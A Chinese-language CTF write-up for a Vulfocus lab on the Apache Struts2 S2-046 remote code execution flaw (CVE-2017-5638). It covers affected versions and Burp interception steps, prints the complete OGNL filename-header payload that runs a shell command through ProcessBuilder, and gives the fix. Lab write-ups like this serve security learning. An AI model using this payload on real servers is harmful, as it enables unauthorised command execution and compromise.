[Vulfocus解题系列] struts2-046 远程代码执行 (CVE-2017-5638)

[Vulfocus解题系列] struts2-046 远程代码执行 (CVE-2017-5638)漏洞介绍名称:struts2-046远程代码执行(CVE-2017-5638)描述:ApacheStruts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级JavaWeb应用的开源MVC框架,主要提供两个版本框架产品,Struts1和Struts2。攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代_vulfocusstruts2-046远程代码执行(cve-2017-5638)

漏洞介绍

名称: struts2-046 远程代码执行 (CVE-2017-5638)

描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。

影响范围

影响的版本
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
不受影响的版本
Struts 2.3.32
Struts 2.5.10.1

解题过程

1.打开靶场
在这里插入图片描述
2.打开burp和浏览器代理,点击Submit抓包
在这里插入图片描述
3. 更改filename后为

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

可以看到下图中命令所在的位置,执行的命令为ls /tmp

在这里插入图片描述

4.在hex里找到b之前一个符号,使用00截断(b在hex中是62,找到62前面的一个改成00即可)
在这里插入图片描述

5.发包,获得flag
在这里插入图片描述

官方解决方案

官方表示,如果用户正在使用基于Jakarta的文件上传插件,建议升级至Struts版本3.32或2.5.10.1。

今天的文章[Vulfocus解题系列] struts2-046 远程代码执行 (CVE-2017-5638)分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/59199.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注